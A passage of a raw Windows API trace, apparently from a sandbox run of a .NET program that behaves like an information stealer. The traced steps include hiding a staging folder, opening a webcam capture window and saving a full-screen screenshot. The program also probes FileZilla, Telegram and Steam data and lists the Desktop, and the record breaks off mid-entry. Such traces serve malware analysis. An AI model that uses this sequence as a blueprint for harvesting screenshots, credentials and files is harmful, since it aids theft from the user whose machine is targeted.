[0170.227] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd280 | out: phkResult=0x12fd280*=0x0) returned 0x2 [0170.227] RegCloseKey (hKey=0x80000002) returned 0x0 [0170.231] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x12fd4fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0170.243] GetEnvironmentVariableW (in: lpName="Temp", lpBuffer=0x12fd8dc, nSize=0x80 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22 [0170.243] GetUserNameW (in: lpBuffer=0x12fd7e4, pcbBuffer=0x12fda5c | out: lpBuffer="FD1HVy", pcbBuffer=0x12fda5c) returned 1 [0170.272] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp", nBufferLength=0x105, lpBuffer=0x12feca8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp", lpFilePart=0x0) returned 0x2e [0170.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0e4) returned 1 [0170.276] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp"), fInfoLevelId=0x0, lpFileInformation=0x12ff160 | out: lpFileInformation=0x12ff160*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0170.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0e0) returned 1 [0170.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0e4) returned 1 [0170.277] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp"), fInfoLevelId=0x0, lpFileInformation=0x12ff160 | out: lpFileInformation=0x12ff160*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0170.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0e0) returned 1 [0170.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0e4) returned 1 [0170.277] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp"), fInfoLevelId=0x0, lpFileInformation=0x12ff160 | out: lpFileInformation=0x12ff160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xfdb8e378, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xfdb8e378, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0170.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0e0) returned 1 [0170.279] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp"), lpSecurityAttributes=0x0) returned 1 [0170.304] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\FD1HVy", nBufferLength=0x105, lpBuffer=0x12fec88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\FD1HVy", lpFilePart=0x0) returned 0x29 [0170.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff170) returned 1 [0170.304] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\FD1HVy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\fd1hvy"), fInfoLevelId=0x0, lpFileInformation=0x3185504 | out: lpFileInformation=0x3185504*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0170.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff16c) returned 1 [0170.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0dc) returned 1 [0170.310] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\FD1HVy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\fd1hvy"), fInfoLevelId=0x0, lpFileInformation=0x12ff158 | out: lpFileInformation=0x12ff158*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0170.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d8) returned 1 [0170.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0dc) returned 1 [0170.310] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\FD1HVy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\fd1hvy"), fInfoLevelId=0x0, lpFileInformation=0x12ff158 | out: lpFileInformation=0x12ff158*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0170.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d8) returned 1 [0170.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0dc) returned 1 [0170.311] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp"), fInfoLevelId=0x0, lpFileInformation=0x12ff158 | out: lpFileInformation=0x12ff158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x18af0b28, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x18af0b28, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0170.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d8) returned 1 [0170.311] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\FD1HVy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\fd1hvy"), lpSecurityAttributes=0x0) returned 1 [0170.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff188) returned 1 [0170.313] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\FD1HVy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\fd1hvy"), fInfoLevelId=0x0, lpFileInformation=0x3185504 | out: lpFileInformation=0x3185504*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18b3d0af, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x18b3d0af, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x18b3d0af, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0170.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff184) returned 1 [0170.319] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\FD1HVy", dwFileAttributes=0x12) returned 1 [0171.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VFW Capture", cchWideChar=11, lpMultiByteStr=0x12ff17c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VFW CapturesÍ\x08E\x01\x18Ô\x96àðùos¸ó/\x01\x01", lpUsedDefaultChar=0x0) returned 11 [0171.621] capCreateCaptureWindowA () returned 0xc038e [0175.127] SendMessageA (hWnd=0xc038e, Msg=0x40a, wParam=0x0, lParam=0x0) returned 0x0 [0175.129] SendMessageA (hWnd=0xc038e, Msg=0x40a, wParam=0x0, lParam=0x0) returned 0x0 [0175.131] SendMessageA (hWnd=0xc038e, Msg=0x419, wParam=0x0, lParam=0x13499b0) returned 0x0 [0175.132] SendMessageA (hWnd=0xc038e, Msg=0x40b, wParam=0x0, lParam=0x0) returned 0x0 [0175.132] SendMessageA (hWnd=0xc038e, Msg=0x10, wParam=0x0, lParam=0x0) returned 0x0 [0176.557] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x59505be, dwData=0x0) returned 1 [0176.561] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x12fef78 | out: lpmi=0x12fef78) returned 1 [0176.563] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x10010523 [0176.567] GetDeviceCaps (hdc=0x10010523, index=12) returned 32 [0176.567] GetDeviceCaps (hdc=0x10010523, index=14) returned 1 [0176.567] DeleteDC (hdc=0x10010523) returned 1 [0176.604] GetUserObjectInformationA (in: hObj=0x13c, nIndex=1, pvInfo=0x31861fc, nLength=0xc, lpnLengthNeeded=0x12ff154 | out: pvInfo=0x31861fc, lpnLengthNeeded=0x12ff154) returned 1 [0176.606] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x408 [0176.759] GdiplusStartup (in: token=0xff6dd8, input=0x12fe6d0, output=0x12fe720 | out: token=0xff6dd8, output=0x12fe720) returned 0x0 [0176.789] GdipCreateBitmapFromScan0 (width=1440, height=900, stride=0, format=0x26200a, scan0=0x0, bitmap=0x12ff1d8) returned 0x0 [0176.961] GdipGetImagePixelFormat (image=0x5a61f08, format=0x12ff1dc) returned 0x0 [0176.961] GdipGetImageGraphicsContext (image=0x5a61f08, graphics=0x12ff1e8) returned 0x0 [0176.963] GdipGetImageWidth (image=0x5a61f08, width=0x12ff1dc) returned 0x0 [0176.963] GdipGetImageHeight (image=0x5a61f08, height=0x12ff1dc) returned 0x0 [0176.972] GetDC (hWnd=0x0) returned 0x108b8 [0176.977] GetCurrentObject (hdc=0x108b8, type=0x1) returned 0xb00017 [0176.985] GetCurrentObject (hdc=0x108b8, type=0x2) returned 0x900010 [0176.985] GetCurrentObject (hdc=0x108b8, type=0x7) returned 0xffffffffbe050509 [0176.985] GetCurrentObject (hdc=0x108b8, type=0x6) returned 0x8a01c2 [0176.989] GdipGetDC (graphics=0x5a62408, hdc=0x12ff170) returned 0x0 [0177.125] BitBlt (hdc=0x8b010a1e, x=0, y=0, cx=1440, cy=900, hdcSrc=0x108b8, x1=0, y1=0, rop=0xcc0020) returned 1 [0177.528] GdipReleaseDC (graphics=0x5a62408, hdc=0x8b010a1e) returned 0x0 [0177.531] ReleaseDC (hWnd=0x0, hDC=0x108b8) returned 1 [0177.536] GdipGetImageEncodersSize (numEncoders=0x12ff190, size=0x12ff18c) returned 0x0 [0177.536] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x136d5d8 [0177.536] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x136d5d8 | out: encoders=0x136d5d8) returned 0x0 [0177.542] LocalFree (hMem=0x136d5d8) returned 0x0 [0177.547] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\screen.jpeg", nBufferLength=0x105, lpBuffer=0x12febd4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\screen.jpeg", lpFilePart=0x0) returned 0x3a [0177.549] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\screen.jpeg", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\screen.jpeg", lpFilePart=0x0) returned 0x3a [0177.550] GdipSaveImageToFile (image=0x5a61f08, filename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\AX754VD.tmp\\screen.jpeg", clsidEncoder=0x12ff1a4*(Data1=0x557cf401, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0 [0177.837] CoTaskMemAlloc (cb=0x20c) returned 0x136e5e8 [0177.837] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x136e5e8 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0177.843] CoTaskMemFree (pv=0x136e5e8) [0177.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x12febf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming", lpFilePart=0x0) returned 0x1f [0177.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Filezilla\\recentservers.xml", nBufferLength=0x105, lpBuffer=0x12fec88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Filezilla\\recentservers.xml", lpFilePart=0x0) returned 0x3b [0177.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff13c) returned 1 [0177.843] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Filezilla\\recentservers.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\filezilla\\recentservers.xml"), fInfoLevelId=0x0, lpFileInformation=0x12ff1b8 | out: lpFileInformation=0x12ff1b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0177.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff138) returned 1 [0178.281] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Classes\\tdesktop.tg\\DefaultIcon", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ff18c | out: phkResult=0x12ff18c*=0x0) returned 0x2 [0178.305] EtwEventRegister (in: ProviderId=0x318ae34, EnableCallback=0x5950636, CallbackContext=0x0, RegHandle=0x318ae10 | out: RegHandle=0x318ae10) returned 0x0 [0178.308] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe.config", nBufferLength=0x105, lpBuffer=0x12fd0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe.config", lpFilePart=0x0) returned 0x33 [0178.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fd58c) returned 1 [0178.309] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe.config" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\newbuild.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x12fd608 | out: lpFileInformation=0x12fd608*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0178.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fd588) returned 1 [0178.361] CoGetContextToken (in: pToken=0x12fca00 | out: pToken=0x12fca00) returned 0x0 [0178.361] CoGetObjectContext (in: riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x13b95e4 | out: ppv=0x13b95e4*=0x1355040) returned 0x0 [0178.392] CoGetContextToken (in: pToken=0x12fce08 | out: pToken=0x12fce08) returned 0x0 [0178.392] CoGetContextToken (in: pToken=0x12fd3e0 | out: pToken=0x12fd3e0) returned 0x0 [0178.392] CoGetContextToken (in: pToken=0x12fd340 | out: pToken=0x12fd340) returned 0x0 [0178.393] CoGetContextToken (in: pToken=0x12fd468 | out: pToken=0x12fd468) returned 0x0 [0178.412] CoGetContextToken (in: pToken=0x12fc9f8 | out: pToken=0x12fc9f8) returned 0x0 [0178.412] CoGetContextToken (in: pToken=0x12fce00 | out: pToken=0x12fce00) returned 0x0 [0178.412] CoGetContextToken (in: pToken=0x12fd3d8 | out: pToken=0x12fd3d8) returned 0x0 [0178.412] CoGetContextToken (in: pToken=0x12fd338 | out: pToken=0x12fd338) returned 0x0 [0178.429] CoGetContextToken (in: pToken=0x12fca00 | out: pToken=0x12fca00) returned 0x0 [0178.429] CoGetContextToken (in: pToken=0x12fce08 | out: pToken=0x12fce08) returned 0x0 [0178.430] CoGetContextToken (in: pToken=0x12fd3e0 | out: pToken=0x12fd3e0) returned 0x0 [0178.430] CoGetContextToken (in: pToken=0x12fd340 | out: pToken=0x12fd340) returned 0x0 [0178.430] CoGetContextToken (in: pToken=0x12fd468 | out: pToken=0x12fd468) returned 0x0 [0178.439] CoGetContextToken (in: pToken=0x12fc9f8 | out: pToken=0x12fc9f8) returned 0x0 [0178.439] CoGetContextToken (in: pToken=0x12fce00 | out: pToken=0x12fce00) returned 0x0 [0178.439] CoGetContextToken (in: pToken=0x12fd3d8 | out: pToken=0x12fd3d8) returned 0x0 [0178.439] CoGetContextToken (in: pToken=0x12fd338 | out: pToken=0x12fd338) returned 0x0 [0178.439] CoGetContextToken (in: pToken=0x12fc9f0 | out: pToken=0x12fc9f0) returned 0x0 [0178.439] CoGetContextToken (in: pToken=0x12fcdf8 | out: pToken=0x12fcdf8) returned 0x0 [0178.439] CoGetContextToken (in: pToken=0x12fd3d0 | out: pToken=0x12fd3d0) returned 0x0 [0178.439] CoGetContextToken (in: pToken=0x12fd330 | out: pToken=0x12fd330) returned 0x0 [0178.571] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\Steam", nBufferLength=0x105, lpBuffer=0x12fec74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\Steam", lpFilePart=0x0) returned 0x39 [0178.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0b0) returned 1 [0178.571] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\Steam" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\apps\\steam"), fInfoLevelId=0x0, lpFileInformation=0x12ff12c | out: lpFileInformation=0x12ff12c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0178.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0ac) returned 1 [0178.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0b0) returned 1 [0178.571] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\Steam" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\apps\\steam"), fInfoLevelId=0x0, lpFileInformation=0x12ff12c | out: lpFileInformation=0x12ff12c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0178.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0ac) returned 1 [0178.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0b0) returned 1 [0178.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\apps"), fInfoLevelId=0x0, lpFileInformation=0x12ff12c | out: lpFileInformation=0x12ff12c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0178.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0ac) returned 1 [0178.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0b0) returned 1 [0178.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp"), fInfoLevelId=0x0, lpFileInformation=0x12ff12c | out: lpFileInformation=0x12ff12c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18af0b28, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1d060703, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1d060703, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0178.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0ac) returned 1 [0178.572] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\apps"), lpSecurityAttributes=0x0) returned 1 [0178.573] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\Steam" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\apps\\steam"), lpSecurityAttributes=0x0) returned 1 [0178.573] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ff160 | out: phkResult=0x12ff160*=0x0) returned 0x2 [0178.600] CoTaskMemAlloc (cb=0x20c) returned 0x137cb88 [0178.600] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x137cb88 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 0x0 [0178.601] CoTaskMemFree (pv=0x137cb88) [0178.601] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x105, lpBuffer=0x12febe8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0178.601] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x105, lpBuffer=0x12fec80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0178.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff198) returned 1 [0178.605] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x105, lpBuffer=0x12fec4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0178.606] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*", lpFindFileData=0x12feec0 | out: lpFindFileData=0x12feec0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd8438ad9, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xd8438ad9, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0178.607] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd8438ad9, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xd8438ad9, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.608] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5200f40, ftCreationTime.dwHighDateTime=0x1d5e042, ftLastAccessTime.dwLowDateTime=0x371a5530, ftLastAccessTime.dwHighDateTime=0x1d5df09, ftLastWriteTime.dwLowDateTime=0x371a5530, ftLastWriteTime.dwHighDateTime=0x1d5df09, nFileSizeHigh=0x0, nFileSizeLow=0x6018, dwReserved0=0x0, dwReserved1=0x0, cFileName="-7KXHIi4FL-4i.m4a", cAlternateFileName="-7KXHI~1.M4A")) returned 1 [0178.612] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e74b570, ftCreationTime.dwHighDateTime=0x1d5e4e0, ftLastAccessTime.dwLowDateTime=0xe85492b0, ftLastAccessTime.dwHighDateTime=0x1d5dd70, ftLastWriteTime.dwLowDateTime=0xe85492b0, ftLastWriteTime.dwHighDateTime=0x1d5dd70, nFileSizeHigh=0x0, nFileSizeLow=0x132cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Fsxo0enyWirPCPZgTZ.m4a", cAlternateFileName="2FSXO0~1.M4A")) returned 1 [0178.612] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae3120, ftCreationTime.dwHighDateTime=0x1d5e376, ftLastAccessTime.dwLowDateTime=0x1891880, ftLastAccessTime.dwHighDateTime=0x1d5e36d, ftLastWriteTime.dwLowDateTime=0x1891880, ftLastWriteTime.dwHighDateTime=0x1d5e36d, nFileSizeHigh=0x0, nFileSizeLow=0x59f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="3aJMcO1.avi", cAlternateFileName="")) returned 1 [0178.612] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3431d190, ftCreationTime.dwHighDateTime=0x1d5e7d8, ftLastAccessTime.dwLowDateTime=0x230b9000, ftLastAccessTime.dwHighDateTime=0x1d5dcfb, ftLastWriteTime.dwLowDateTime=0x230b9000, ftLastWriteTime.dwHighDateTime=0x1d5dcfb, nFileSizeHigh=0x0, 